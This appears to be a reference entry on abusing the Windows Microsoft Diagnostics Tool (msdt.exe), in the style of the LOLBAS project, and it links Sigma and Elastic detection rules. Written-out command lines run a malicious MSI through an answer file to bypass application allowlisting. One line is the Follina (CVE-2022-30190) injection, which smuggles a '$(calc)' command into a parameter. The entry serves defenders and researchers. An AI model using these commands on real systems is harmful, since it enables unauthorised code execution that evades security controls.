Msdt.exe

Microsoft diagnostics tool

Paths

• C:\Windows\System32\Msdt.exe
• C:\Windows\SysWOW64\Msdt.exe

Commands

Execute

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.

Use case: Execute code

Privileges: User

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE

AWL Bypass

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.

Use case: Execute code bypass Application whitelisting

Privileges: User

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE

AWL Bypass

Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the "PCWDiagnostic" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.

Use case: Execute code bypass Application allowlisting

Privileges: User

msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"

Detection

• Sigma: https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msdt_arbitrary_command_execution.yml
• Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml

Resources

• https://web.archive.org/web/20160322142537/https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/
• https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
• https://twitter.com/harr0ey/status/991338229952598016
• https://twitter.com/nas_bench/status/1531944240271568896